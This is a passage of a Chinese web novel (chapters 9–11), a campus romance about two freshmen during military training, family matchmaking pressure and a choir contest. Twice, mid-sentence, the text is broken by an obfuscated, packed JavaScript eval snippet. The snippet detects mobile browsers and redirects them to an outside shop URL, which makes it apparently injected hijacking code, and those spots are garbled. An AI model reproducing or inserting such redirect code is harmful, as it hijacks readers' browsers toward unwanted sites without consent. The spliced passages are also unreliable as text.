“不用这么客气。这套照片可以授权给我吗?放心,不会拿去商用的,只在学校里用。” 祝岁祯有点迟疑,这要怎么用啊,提醒学生不可以在军训期间招猫逗狗? 见她不说话,辛君的语气立刻带了些恳求:“拜托啦学妹,这套照片很难得的,我好不容易抓拍到。” 学长都这么说了,她一个刚入学的新生,再拒绝就不识好歹了吧…… 加了好友,学长开心地说:“等下我把有你照片的几期军训宣传稿转发给你,评论好多说你漂亮的呢,你和俞惟叙可是咱学校新生颜值扛把子!” 祝岁祯有些受到惊吓,她竟然出镜了?怎么一点儿都不知道! 她还捏着雪糕袋,想赶紧找个地方扔了,但是辛君还在聊:“我听说你男朋友是A大的?他们学校今天开学,你没去啊?” 没功夫思考这个素不相识的学长是怎么知道的,被人触碰伤口的感觉不好受,她张了张嘴,不知道该说什么。 “呃……”祝岁祯看了看A大的方向,转过身来却不敢看学长的脸,低着头语无伦次道:“学长我一会儿还有事,先走了……再见……” 简直是落荒而逃。 9. 第九章 密码门传来开锁的声音,猫咪翘着毛茸茸的大尾巴,身姿矫健地飞奔到玄关桌台上,身上柔软泛着光泽的毛发随着动作飞扬,然后齐刷刷地丝滑归位。 锁开了,关理之进门,摸了摸闺女。 俞惟叙系着围裙出来:“妈,回来了?饭还要稍等一会儿。” 关理之像是不认识他一样,眼神上下打量儿子:“这是唱哪出啊?” “没唱……帮我爸洗个菜端个盘子。” 关理之平时上班只拎个低调的鳄鱼皮birkin,把包放下换鞋:“我还以为你这交换是去学厨呢。” 她一边解开镶钻爱彼橡树腕表,一边往衣帽间去:“居然没怎么晒黑?你们学校在室内军训吗?” 俞惟叙:“我天天擦防晒,黑不了。” 关理之停下脚步扭头看他,用手里浅蓝色表盘的腕表指了指儿子: “我没听错吧!你还会擦防晒?以前可是死活不愿意。怎么着,碰见漂亮小姑娘了开始注意形象了?” 俞惟叙一时间没能接上话。 关理之进衣帽间换衣服,猫咪跟了进去用大尾巴蹭她腿,她弯腰往外赶它:“之之去找哥哥玩。” 俞惟叙赶紧进去把猫抱起来:“欠儿姐走走走,跟哥哥走,开饭了开饭了。” 关理之换好家居服去卫生间卸妆,化妆镜映出她颇为英气的脸。 她长得像她爸,漂亮精致的五官锋利而深邃。虽然是老西城人,但从小到大被问了无数次是不是混血儿。 俞况是南方人,容貌带些水乡的柔和,年轻时活脱脱是个俊俏书生。然而一双明秀的桃花眼,被配置在不解风情的理工男脸上,被无数倾慕他的女生吐槽:纯属浪费。 俞惟叙作为投胎小天才,完美继承了两人的优点,骨相优越如同出自雕塑家之手,笑起来时和父亲一模一样,温柔而深情。 朋友和同学们评价他的长相:没什么好形容的,就24K纯帅、硬帅、无死角、撑得住任何刁钻光线和表情。 夫妻俩看着儿子越来越帅,本来还担心他会不会到处招惹小姑娘鬼混,但后来发现多虑了,这家伙好像被女生缠得有点儿烦,直接不理。 不过他也没表现出对同性有什么想法,所以爹妈也搞不懂了。 门铃响起,俞惟叙去看了眼门旁的监控画面。他爸在附近一家还不错的餐厅订了两道菜,这餐厅不提供外卖服务,只接私人会员的外送单子,所以派专人用保温箱送了过来。 饭菜上齐,俞况接过儿子递来的筷子,对关理之说:“有些日子没在家做饭了,不过我刚才尝过,还行。旁边这两盘是订的餐。” “嗯。”关理之夹起一筷子他做的丝瓜炒蛤蜊,尝了后点点头,“不错,在外面应酬多了,就老想着家里这一口。” 四菜一汤,三个人饭量都不算大,刚好吃完。关理之拿起手机回了个消息,对俞惟叙说:“早前儿去香港参展,碰见的林家那姑娘还记得吗?他爸开酒店那个。” 俞惟叙想了半天,才想起当时确实和关理之见过一个做酒店行业的董事长,集团旗下好几个中高档的连锁酒店品牌,业务范围覆盖全国。至于他家的孩子……不太记得了。 “那姑娘在康奈尔读设计专业,比你大一届,说看你挺顺眼。我把她名片推给你,加一下联络联络感情。” 她在手机上点了两下,俞惟叙收到了消息提示。 “回头有空了请人姑娘去英国玩玩,或者去意大利、法国这类搞艺术的地方——虽然她大概都去过了。看她喜好吧。” 俞惟叙愣住,看了看老爸。 俞况没接他的眼神,起身收拾碗筷盘子去厨房。 “您什么意思?相亲?”俞惟叙问她。 他家关总随意地靠在椅背:“没到那个程度,虽然我确实有这个想法,但人还不一定看上你呢。提前接触接触,对后面的合作也有好处。” 关理之创办的企业叫“观鱼”,是个家居品牌,产销、出口中高端家具,也做一点海外高端奢侈品牌家具的国内经销。 她继续盘算:“我听说他们家准备采购家具升级酒店设施,咱家能接这个单。你和林期尓如果成了,咱家以后就不愁销量了。” 俞惟叙心中有种莫名的抵触情绪,他皱眉道:“有点早吧,妈。” “早什么!感情要培养,培养要时间,这个不行还得换别人,等你到成家的岁数,就差不多能定下一个合适的。” 关理之好脾气地多说了几句:“而且你和人家女孩儿都得上学,毕业读研了、接手家里工作,这就得花不少精力,留给你们认识、互相了解的时间其实不多。” 她审视着儿子的表情:“这有什么难的?你长得也不差,稍微花点心思就行了。事儿给我办好了啊,最起码面子上应付得漂漂亮亮的。”下达命令后起身去了书房。 俞况从厨房出来,拍了拍儿子:“去把碗洗了。” “哎哟……”一声哀嚎响起,俞惟叙有些烦躁地起身,去厨房捣鼓洗碗机。 “喵呜~” 猫咪优雅地进入厨房,轻巧地跳上台面。 俞惟叙伸手撸它背上的毛:“欠儿姐……我好羡慕你啊……什么都不用干……” “喵呜~” -.- 洗完澡,俞惟叙回自己房间,整理明天办事要用的资料。顺带着加了林期尔好友,执行陪聊任务。 没办法,谁给钱谁就是大爷,识时务者为俊杰。 不一会儿,美国时间到了要去上课的时候,林期尔回复他了,直接几条英文信息发来,他也只好用英语回复。 对方还挺能聊的,信息里掺杂着时下流行的缩略语和说法,俞惟叙有时候要猜一下,毕竟他之前在英国,有些美国梗不太能get到。 这女孩儿在纽约出生,没在国内待过几天,中文说得比西班牙语还差。小学在法国,中学在新加坡读的,高中去了美国之后就一直待到现在读大二,后续准备在康奈尔接着读研。 看到这里,俞惟叙心情突然变好了许多。 她还打算读研,而且看她聊天话题都是些吃喝玩乐,那大概率不会很快考虑订婚结婚,起码得个五六年之后再说。 俞惟叙心想,只要两人保持良好的网友关系,就能稳住关理之——自己的金主大人。 聊完之后,他开始收拾明天出去办事要用的东西,突然看到包里的学生卡,外面套着自己从祝岁祯那里霸占来的卡套。 他没用过这么便宜的东西,也没有伸手要别人东西的习惯,但不知怎么的,看到她用就特别想要。 以至于违背了他做人的原则,用帮过她来要挟…… 他知道这么干不厚道,但想起她略带憋屈、满眼舍不得但又不得不给的样子,俞惟叙笑得就特别开心。 逗祝岁祯怎么这么好玩儿。 他收拾好东西躺床上,突然想起祝岁祯被她那个同学欺负的时候,为了留存证据,自己手机里有当时的视频。 他打开相册找到那个视频,点击播放,越看越气。 什么人呐……被拒绝了真不嫌丢人呢,还好意思嚷嚷。 “……申越,非要我说实话你才肯走吗?抱歉,我喜欢长得帅的,起码是路齐江那样的……” 噗哈哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313083|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 俞惟叙又看了眼那个男生,确实比她前男友差点儿,只能算端正, 他又找到祝岁祯的朋友圈,点进去想再看一眼她前男友的脸,不知道官宣动态还留着没。 空空如也。她设置了一个月可见,已经超时了。 俞惟叙只好回到相册继续看。 可能是站得近,舍友为了拍申越,画面里没能录进祝岁祯。可惜,他想看看祝岁祯当时的样子。 对峙快要结束,录制视频的人位置变动,镜头扫到了俞惟叙身后的一点空间。 当时自己担心祝岁祯从身后出来会被误伤,横着胳膊把她挡住了。祝岁祯要走,画面边缘是她双手拉着自己胳膊往后拽的场景。 他按了暂停,把进度条拉到最清晰的一帧。 俞惟叙在男生里面算是偏白的了,可是画面上圈住自己胳膊的那双手,怎么能白成那样? 纤细的手指绷紧,那么用力,前两下也没拉得动他,后来是他自己跟着她走的。 啧,太瘦了没力气,你得多吃点饭啊祝岁祯。 俞惟叙伸手握住自己胳膊的同一位置,企图还原当时的触感……还原失败。 可惜,那会儿只顾着跟面前的傻狗较劲,一点儿没注意到祝岁祯在干什么。 他盯着画面,努力回忆着自己平时见到的祝岁祯的手,但好像没有特别注意过,因为她的脸太瞩目。 如今看来这手也相当漂亮,细细长长葱白似的,最适合握在手心,或是十指相扣…… 俞惟叙悚然失色,手机掉在床上。 他在想什么?! 锁屏!睡觉! 可是有些念头就像生命力极强的种子,仅仅接触到空气都会生根发芽。 梦里俞惟叙被一双细腻柔软的手作弄得如同飘在云端,连呼吸都在颤抖。难耐的快乐不断积蓄,直到喷发。 可他想要更多。 祝岁祯趴在他胸口,轻轻的重量填满他的心,那双勾人的大眼睛扑闪着看他。 俞惟叙难以自持地捧住她的脸,深深地吻下去—— 啃了一嘴毛。 “喵呜!!” “哎哟我去!!!” 俞惟叙瞬间清醒,在黑暗中意识到,自己的梦里第一次出现身边认识的女生。 亲了猫这事他已经顾不得了,眼下最尴尬的是被窝里…… 他面红耳赤地掀开被子,一阵冰冰凉。 俞惟叙捂住脸,在脑海里疯狂对祝岁祯道歉。 但他突然感觉不对劲。 欠儿姐在闻他苦茶子。 真是一点儿也躺不了了! 俞惟叙推开猫,起身往卫生间去。脱了裤子发现这大半夜的也不方便用洗衣机,让爸妈听见还要被问,只好手洗。 猫悄无声息跟进来跳上洗手台,伸长了脖子就要闻他手里的那块布料。俞惟叙大怒,扔苦茶抱猫丢走廊锁门,一串动作行云流水。 他突然想起高中的时候,欠儿姐还是个巴掌大的小东西,他拿着照片跟同学吐槽这玩意儿花了九万块,实则暗搓搓炫耀猫有多可爱。 后来不知怎么聊的,几个同学开始分享自家猫有什么奇怪的癖好。 比如总喜欢趴在臭鞋子里面、啃人没洗的脚丫子、爱闻人胳肢窝……据说猫喜欢闻主人气味浓的地方。 欠儿姐在外面“刺啦刺啦”地挠门想进来,俞惟叙一边洗苦茶一边暗骂:“真是个变态猫!” 快速洗完,开门出来,他捞起猫强行带进被窝:“这么喜欢我?陪我睡觉!” 欠儿姐挣扎了几下,放弃,窝在他怀里闭上了眼。 10. 第十章 战场上,硝烟四起。 祝岁祯戴着头盔拿着装备,藏在掩体后面。 战友们灵活前进,借助任何可以遮挡的物体,小心地躲避敌方攻击,同时找准机会瞄准射击。 自己总站在后面不敢往前冲,也不是个事啊…… 祝岁祯抱着枪,偷偷练习了几下快速瞄准扣扳机的动作,想象着如果敌人出现在自己的射击范围,一定要疯狂扫射,把对方爆头! 鼓起勇气,她看准斜前方的掩体的位置,心一横冲了过去。然而仅仅过了三秒钟,电子机械声响起: “您已被淘汰。” 祝岁祯:…… 简直是刚露头就被秒了。 战术头盔上的发烟帽像个强力小烟囱一样,使劲朝天上喷蓝烟,恨不得昭告天下这个人被嘎了。 她黯然离场,心想:也算是早点解脱,毕竟这种竞技类的项目自己根本不会玩。 卸下装备,回队伍里的时候,同学们形容她是“征战沙场去,马革裹尸还”“魂归故里”。 她盘腿坐到小羊旁边当观众,这次红蓝对抗真人CS是抽签选人上场,1、2班蓝队,3、4班红队,十来分钟就能打完一场,然后换其他学院的来用场地。 祝岁祯离场之后的战况简直可以用离谱来形容。 蓝队一个同学慌乱中毙了自己人,直接乌龙痛失战友;红队一个女生和蓝队一个男生狭路相逢,俩人居然红了脸谁也没开枪;红队出现了四个人同时躲在一个掩体后的离奇事件,爱来得太拥挤,掩体也不知道被谁碰倒了,他们直接暴露出来,四散逃命…… 这下谁也不说祝岁祯菜了,大家菜得很平均,早晚都得死。 在等待同学们卸装备的时候 ,昨天见到的辛君学长拿着相机过来了,和祝岁祯打招呼。 “你们还没开场的时候,我在红队那边拍照。你知道我听见他们说什么吗? 他指了指3、4班的方向:“他们说集中火力先干掉你哈哈哈哈哈……” 祝岁祯:??? 小羊:“为啥?” 辛君:“他们本来在打赌,看谁能先爆你头。但是没办法分辨是谁开的枪,所以干脆就直接定下作战计划先打你。” 祝岁祯无论如何也想不通:“我就是个小兵啊!也不需要擒贼先擒王……” 辛君看了眼场上,差不多要换下个学院了,他得去干活。于是快速跟她说: “他们只是很无聊找个乐子而已,我先走了。” 祝岁祯和小羊对视,两人都从对方眼里看到了“无语”二字。 “祝岁祯,你还认识媒宣部的人呢?”旁边一个女生见辛君和她搭话,好奇这俩人怎么认识的。 祝岁祯回她:“昨天刚认识的,要不是学长提起,我都不知道咱学校还发过军训的稿子,赶紧拜读了一下。” 那女生说:“我的天,你不知道?你都出镜三四回了。” 另一个同学:“我转发到朋友圈,好几个高中同学评论问你叫什么名字,以为咱学校有什么艺术学院、传媒学院之类的。” 小羊:“我以为你早就看到并且习惯了,就没跟你聊……原来你不知道啊!” 祝岁祯有点尴尬:“我都没关注过咱学校的账号,以为只是发一些假大空的官方宣传……昨天才知道原来还有这些。” 昨晚她收到辛君转来的文章链接,读完发到家庭群,爸妈看了之后乐了半天,说她这个没吃过苦的小兵穿上军训服,还真像那么回事。 随后祝金爀看到了俞惟叙的照片,觉得这帅小伙长得是真不错,和祝岁祯一样出镜率很高,于是问闺女这男孩是不是她同学,看着有点眼熟。 祝岁祯回他,那天你俩来宿舍楼下的时候见过。 祝金爀那颗心又蠢蠢欲动了,问祝岁祯这男孩有对象没。 祝岁祯冷淡地回他不知道,而且同学马上要去英国交换两年,不熟。 祝金爀一看这帅小伙两年都不在,那也没什么好说的了,就没再提这茬。 随后话题又回到祝岁祯这里,爸妈告诫她要吸取中学时候的教训,做人做事万不可张扬,待人友善低调行事,省得被人传闲话影响以后的学习工作。 她小时候仗着自己好看招人喜欢,有点毒舌、说话得理不饶人。虽然只是同学间正常闹着开玩笑,但因为她太受关注,一言一行都被无限放大。 再加上嫉妒她的人在背后狂说她坏话、被她拒绝的人恼羞成怒报复,导致常常有些离谱的谣言传到她耳朵里。 不过她那时心挺大的,无所谓,姐就是女王,随便你们爱说什么说什么,又不耽误我吃喝睡觉。 现在不一样了,且不说她连着经历两次人生至暗时刻,这颗心已经被打击得老了几十岁。就说为了以后评奖学金、找工作、建立人脉关系,就得谨言慎行、万事小心,不能有把柄让人说闲话。 可是……她回忆着刚才学长说的,3、4班的男生竟然商量好先干掉她吗?她得罪过他们吗?不能啊…… 梦梦和小羊甚至还说她内向来着。 她把自己尽量隐藏起来,平时队尾休息闲聊的时候她都很少参与,只是默默地听着。 小羊要她加入学生会和社团,她也都没兴趣。除了学习和必须要参加的活动之外,她不准备多出去社交,只盼着平平稳稳地度过这四年,拿个高绩点找工作挣钱。 -.- 军训结束的检阅是方阵分列式,还有个合唱比赛,所以最后两天半的日程,都是围着这两项展开训练。 下午全体集合,各连在足球场重新排分列式的站位。 但这之前,要先定下整个连队打头阵的门面,也就是三名护旗手。 护旗手要形象气质佳、动作标准观赏性高。各班先从自己班里挑人出来,导员和连长来定人选。 2班的教官直接走到队伍最后,把俞惟叙和祝岁祯点了出来。 同学们都一脸懵,不知道把他们俩提出去干什么。 教官带着两人朝连长那边走去,俞惟叙问:“哥,这是什么安排?” “选护旗手。军训第一天看见你俩的时候,我就想好了,肯定得是护旗手。” 祝岁祯在脑海里搜了半天,并不知道护旗手是什么,见俞惟叙走在前面和教官一起,她又不好悄悄问。 这时,其他几个班也有教官带着一俩同学过来,看起来都是班里的高个子。 几个同学刚连长旁边站好,俞惟叙立刻就被选中了。连长看见她时眼前一亮,紧接着又皱眉:“这女孩儿有一米七吗?” 导员和教官们看了看被抽过来的几个女生,齐齐摇头。 “算了,可惜了,形象不错。” 随后连长挑了个子最高的女生,那女生有一米七六。 祝岁祯回到队伍里问小羊,才知道护旗手是站在连队最前面扛旗扛枪的人,瞬间庆幸自己不够高没被选。 她可不想干这个差事,在队伍里混着挺好的。站最前面,万一紧张迈错步、忘了什么动作,那可就丢了整个学院的人。 祝岁祯问小羊,既然要选个子高的,那大黄为什么不能去。 “走方阵前先是仪仗队受检,他得去训练那个。跟咱们分列式时间冲突了。” 唔……原来是这样。 -.- “节奏!节奏!听着音乐的节奏迈步!不是你想怎么走就怎么走!注意力集中!走不齐就给我一直走!走到形成肌肉记忆为止!”教官拿着大喇叭怒吼。 祝岁祯顶着大太阳,强打起精神跟着同学们一次次训练。 中场休息,她偏过头看跑道里面如茵的草坪上,俞惟叙好像一棵挺拔的松树,扛着连队红旗。左右两个同学拿着枪,三人在单独训练步伐。 这么个富二代少爷能参加军训就已经很让她意外了,竟然也会这么认真地当护旗手吗? 她想起军训第一天,下午休息的时候,俞惟叙把手机给她,让她帮忙拍几张全身照片。 祝岁祯拍完,大黄问他要发给哪个女朋友看。俞惟叙无奈地说是发给姥爷,老人家非常传统,心有军旅情,知道外孙军训就让他发照片过去,并且要他每天汇报训练了什么。 周围同学们好奇,问他姥爷之前做什么工作,俞惟叙却避而不谈。同学们看他的眼神里多了些复杂的内容。 北京这种地方嘛,大家都懂得,有钱不算什么稀奇事,俞惟叙这种家里是老北京的,可能就有些不便透露的军、政背景。 下午训练结束,教官们恨铁不成钢地说出那句十分经典的台词:“你们是我带过的学生里面,最差的一届!” 同学们暗地里吐槽,差就差吧,我们上的又不是军校警校体校,赶紧去食堂炫饭要紧。 晚上练合唱,所有学院比的都是这一首,教官带着大家一句句学。祝岁祯捧着手机,觉得自己突然发现了一个很小众的治愈方法。 她最近一直因为路齐江的事难过,今晚听到这首战歌,感慨不愧是祖国严选,这铿锵有力的旋律、这激荡人心的歌词,让她心底的阴霾一扫而空。 个人的坎坷,在时代的洪流里显得如此渺小,路齐江虽然没了,但自己这不还活着吗?支棱起来,烂命一条就是干! 喝水休息的时候,小羊一把薅住她:“你是咋的了?今晚这么开心?” 祝岁祯笑了:“我要说我喜欢这首歌,你信不?” 小羊像看奇葩一样看着她:“完了,祝岁祯你疯了,军训赶紧结束吧我害怕……” 这时身后传来一个声音:“害怕什么?祝岁祯看我,来,一二三,茄子~” 祝岁祯扭头看见是辛君,眼疾手快地挡住了脸。 闪光灯没亮,辛君失望地放下相机:“哎哟干嘛~上午的对抗赛你下场太快,我都没来得及拍到你……” 俞惟叙侧着头,眼睛一眨不眨地盯着这两人。 祝岁祯放下手:“不要拍我了学长,再写学校军训文章的话,让赢了的同学出镜吧。” 辛君疑惑道:“你们不是和3、4班打平手吗?我记错了?” 祝岁祯摇摇头:“反正不要拍我吧,我一上场就死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313084|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 辛君一听这话,也盘腿坐了下来:“你是不是生气啦?因为学弟们先打你……他们就是闹着玩,没有恶意的。” 她赶紧解释:“没生气,只是不想总被发照片。我看评论里好多家长在找自己家孩子,也让别的同学们露个脸嘛。” 辛君点点头:“行,我会把你的想法和部门提一提的,你们聊。”说完,他起身离开了。 祝岁祯转头回来时,刚好和俞惟叙四目相对。 可他竟然迅速别过脸,不和她对视。 祝岁祯回想了一下,俞惟叙自从今下午归队,就没跟她说过一句话。 虽然他单独出去训练了,可从晚上集合练合唱开始,他好像一直在避开她。 祝岁祯把3、4班男生先狙她的事情,和俞惟叙突然变化的态度,结合着分析了一下。 难道是因为申越? 唉,不懂了。 祝岁祯心思百转千回,俞惟叙却拿起手机忙着搜索,终于找到祝岁祯说的军训文章。 学校的官号出了个合集,到现在为止已经出了十期。他点开第一期,往下划拉,很快就看到了自己的照片。 又点开几期,再看看评论,俞惟叙恍然大悟。 他终于明白为什么军训第二天开始,突然冒出许多本校、外校的女生要加自己好友。 接下来的几天越来越过分,甚至出现头像是穿着比基尼露着超级大胸的、自称T大、P大的人来加自己…… 他在附中待了三年,这俩学校的学生什么样子,他能不知道吗? 骗子。 除了当面来扫码的、熟人私聊让通过的,其余一概不加。 又点开一期,祝岁祯的照片出现在屏幕上,他目光停在这里。 拍得不错。 但想起自己半夜狼狈起来洗苦茶,他又迅速把照片划走。 即便是躲了一个下午,再看到她本人以及照片时,还是会勾起记忆。 祝岁祯到底哪里好?能让他这些天,分了这么多注意力在她身上。 脸吗?可是漂亮的女人,不同人种不同国家的,他见过的多了去。 身材吗?没见过她穿紧身的衣服,但这么瘦的一个人,目测不是什么大胸翘屁嫩模类型。 性格?温水一样。才艺?开学自我介绍没听她说过。智商?复读考过来的也就正常水平。 可她在他心里,就是很不一样。 “啊啊啊啊气死我了气死我了!”梦梦跑到祝岁祯和小羊的后面,扑通坐下。“啊西八!你们知道吗,我被人骂了!” “哈?” “怎么回事?” 梦梦气呼呼地说:“我暑假去签售的时候,被别的签售姐录了视频,发到她们自己的小群里评头论足!一会儿说我胖,一会儿又说我丑,还说我和我老公牵手时间太长……而且她们居然说我撒谎,说我不可能是M大的!” 俞惟叙和大黄也扭头听她抱怨。 “我特么!老娘胖瘦美丑管她们什么事!几万块花了还不许我牵个小手?人家staff都没说啥,要她们管!” 祝岁祯和小羊配合点头赞同。 “我只是因为军训去不了,她们就觉得我没钱了在死装,还说985、211的人都是书呆子怎么可能去签售追星,一定是我在撒谎……” 小羊摸了摸下巴分析道:“同担吃醋互掐我见过,小场面。你信不信她们骂完你,转头就拉着别人互相骂,毕竟物以类聚。你要知道这个就不会生气了。” 梦梦双手向后撑在草坪上:“不过我也能理解,之前就有人冒充高学历大粉吸引腿毛,后来卷钱跑路了。所以大家对签售姐自曝学历学校就很敏感,总觉得又是一个骗钱的。” 祝岁祯不明白了:“这也能骗钱?” 梦梦给她科普:“就是卖一些周边、签售专、活动名额、集资投广告什么的,像我们团不是很火嘛,那金额就很可观了。” 大黄问:“你也卖?” 梦梦说:“对,主要是签售专,我一场签售买几万的专辑,那么多我又不用,便宜出给别人呗。” 俞惟叙问:“她们造你谣,对你有什么影响?” 梦梦叹气:“可能会掉粉吧,我辛辛苦苦修图剪视频,好不容易才攒了四千粉……” “四千粉?!”几人异口同声。 “啊,怎么了?”梦梦不明所以。 “你这么牛逼吗!” “才一个暑假,就有四千粉了?” 梦梦略显得意:“这算什么,只是国内中粉的量,我外网账号七千多粉呢我骄傲了吗?” 祝岁祯超级崇拜地掏出手机:“你名字是什么?我关注一下呗?哇你太强了!” 梦梦羞涩婉拒:“哎哟,这个嘛,不太方便被现生的朋友关注啦,毕竟……有时候会说一些虎狼之词,人前人后两副嘴脸,你们懂得……” 休息时间结束,梦梦赶紧回去,祝岁祯转过身来,看见俞惟叙又是突然换了一副冷脸,避开跟她对视。 这人真是莫名其妙。 11. 第十一章 第二天,各学院去大礼堂排练合唱比赛,金融学院按照时间顺序进去后,发现经管学院还在台上没练完。 金院只好先坐在观众席等一等。 梦梦拍了下前面俞惟叙的肩膀:“哎,鱼仔,我要是做vlog博主的话,你觉得怎么样?” 俞惟叙回头,要和身后的梦梦聊天的话,眼神会扫过她旁边的祝岁祯。 果然,他看到祝岁祯的一瞬间,眼皮迅速一耷,看向地面。 “挺好的啊,想做就做。” 祝岁祯在他们聊天的时候,悄悄观察了下俞惟叙。这个人长得太帅,她开学第一次见到他的时候,脑子里就拉响了警报。 很危险,不要看他,不要和他接触太多。 此刻俞惟叙浓眉下的眼睫毛又密又长,直直地伸展着,像眼皮为深邃眸子撑起的小伞。 但回避的眼神,让祝岁祯刹那间清醒。 她低下头,把军训服衣角一点点搓成卷。 人家大概觉得她很麻烦吧,又是晕倒、又是外校人来表白的,才开学几天就出这些幺蛾子。 她其实也没指望能跟富二代有多深的交情,毕竟差距在这摆着。但是本来能当个关系尚可的同学,现在又冷淡下来,这落差让她有点不是滋味。 算了,至少自己还有舍友,都是很好的女孩子,大家相互照顾着度过每一天。 过了一会儿,台上响起轰隆隆的声音,经管学院排练完了正往后台走。 祝岁祯跟着同学们起来,刚走到梦梦的座位,就听见旁边“咚咚咚”几声,什么东西掉在地上。 一个手机,顺着弹回的座椅垫,从缝隙里摔落在祝岁祯脚边。 “谁的手机掉了?” 她弯腰捡起,举着手机让前面的同学们认领。 这一嗓子引得起码十来个人摸兜,最后只有俞惟叙从走道折返了回来。 “我的。” 他过来接手机,两人的指尖在手机背面触碰相叠,双方都愣了一秒。 “谢谢。”祝岁祯慌忙撤回手。 俞惟叙:“啊?” 意识到自己说了什么,她无语地想赶紧找个地方藏起来。 俞惟叙拿着手机,转头往过道走的那三秒钟,在和她相隔极近的地方轻声笑着启唇道: “傻子。” 居然还被嘲笑了!祝岁祯的心情,非常不妙。 -.- 军训倒数第二天,继续分列式练习。 大家节奏掌握得还行,但是同一横排的步伐属实有点乱,走着走着队伍就又斜又歪。 三个护旗手练得差不多了,休息时被教官打发到二楼观众席和主席台上,实时指挥同学们的步伐,同时录下视频便于复盘。 “向右——看!”“一——二!” 喊完“二”,齐步换正步,除了最右那列,全连人头齐刷刷地右转,看向主席台。 祝岁祯的目光刚好和俞惟叙对上。 她赶紧把眼神往下移。 真是想多了,怎么会觉得他在看自己?人站得这么密,或许他在发呆也说不定。 走完一遍,原地后转,连队回到出发的地方继续练。 祝岁祯远远抬眼看主席台,俞惟叙正和台下一个教官说话。他两条胳膊撑在栏杆上,姿态既笔挺又慵懒,不知道他是怎么做到把这两种感觉同时呈现出来的,真是神奇。 下午的训练结束得比往常早,分列式练得差不多了,要早些吃饭、早些去大礼堂集合。 祝岁祯往足球场大门走着走着,发现鞋带开了,就蹲下去系。要站起来的时候,突然觉得整个视野变成红色,什么丝丝滑滑的东西拂过她的脸。 惊讶地抬头望去,鲜红的连队旗子从她脑袋上方摇曳着飘走,拿着旗杆的人不是俞惟叙还能是谁? 哎这人……旗子能不能拿正了呀……都刮她脸上了。 她站起来,俞惟叙也已经走远。她没看到俞惟叙得逞后,若无其事憋着笑的脸。 “我决定了!我要做vlog!从今天开始拍素材!祯祯,你帮我!” 梦梦跑过来揽住了祝岁祯,举着手机调成自拍模式。 上次梦梦知道了自己被同担说坏话,就一直在思考怎么反击,但又不想用直接对线这种有点低级的方式,她们不配。 和亲友聊过以后,她决定做vlog博主,记录她追星、学习、减肥、吃喝玩乐的一切。 梦梦说:“不是骂我胖吗?那我就把恶评转化为减肥的动力!” 祝岁祯实在佩服她的勇气,也对这个事情颇感兴趣,于是答应她如果她要做,就在有闲工夫的时候给她搭把手。 “现在吗?现在要拍什么?” 梦梦拽了拽祝岁祯的袖子:“军训呀!这不现成的素材么,让那些造谣的看看,我到底在不在M大!” 祝岁祯点头:“哦哦,好的呀,那你想我怎么帮你呢?” 梦梦抱住她央求:“你可以出镜吗?我刚才和远文、小羊聊过,但是她俩都不想出镜,怕也被我同担挑三拣四。你一定要帮我~我只有你了~” 祝岁祯有点犹豫,她也不太想出镜,要是帮梦梦做点幕后工作还行。 “祯祯~求求了~我就和你们关系最好了~你们要是都不出镜,只有我一个人自言自语的话,显得我很没有人缘诶~求求了求求了~” 梦梦一个音绕三遍,跟韩剧似的,祝岁祯实在被缠得没法子。 “好好好,别晃我了,头晕……但是尽量少吧,表示你有同伴就行。” 梦梦大喜过望:“祯祯我就知道你最好了么么哒!放心吧我都想好了,你偶尔露个脸、或者露个身子就行。然后你也可以拿着手机拍我,这样你就算不出镜,看视频的人也知道我有同伴!” 祝岁祯:“可。” “诶嘿!开心!哈哈哈!” 吃完晚饭,教官让同学们回宿舍收拾一下自己的仪表,晚上合唱比赛要录视频的。 梦梦和小羊化了点妆,祝岁祯洗了把脸,头发重新梳了梳。她和远文一样没有化妆品,也懒得搞。 和舍友到大礼堂,等了一会儿,导员通知金院的离开座位,到后台排队形准备上场。 和排练时完全不一样,下面坐满了领导和同学们,摄影摄像好几台机器架着,超大功率的灯光照在舞台,有些刺眼。 主持人报幕,慷慨激昂的前奏响起,前奏几个小节过后,全连同学齐唱: “听吧新征程号角吹响……” 金院合唱结束,梦梦拉着祝岁祯在后台拍素材,一直到下个学院来排队了,她们才赶紧离开。 找到自己学院的区域,只剩最后一排靠边有三个座位。里面的同学是4班的,梦梦认识,就进去跟她们聊天,祝岁祯挨着梦梦坐。 刚坐下,祝岁祯旁边靠走廊的座位突然多了个人。 祝岁祯转头一看,竟然是俞惟叙。 里面和梦梦说话的女生瞧见俞惟叙,眼神里瞬间多了惊艳。这一变化让梦梦看到后,她迅速扭头。 “哎!正好你来了!那啥,俞大帅哥,求你个事儿呗?” 祝岁祯往后靠了靠,让俩人说话。 梦梦:“我想拍追星日常vlog,你能出镜不?” 俞惟叙:“呃……还是别了吧。我怕我太帅,把你的爱豆们都比下去了。” 祝岁祯和梦梦:…… 虽然他确实有这个资本,但这话从本人嘴里说出来就让人感觉特别的……欠揍。 俞惟叙婉拒,倒也在梦梦的预料之内。她拿出耳机,准备折腾自己手机里的视频素材。 “祯祯,你带校园卡了没?我忘了我学号是多少,给我看看你的。” 祝岁祯拿出来给她:“怎么了?” “我连一下校园网,只要知道你的学号,就能推出来我的。” 俞惟叙的目光落在那个卡上。 梦梦用完学生卡,祝岁祯正要放进口袋,俞惟叙伸手到她面前。 祝岁祯:? 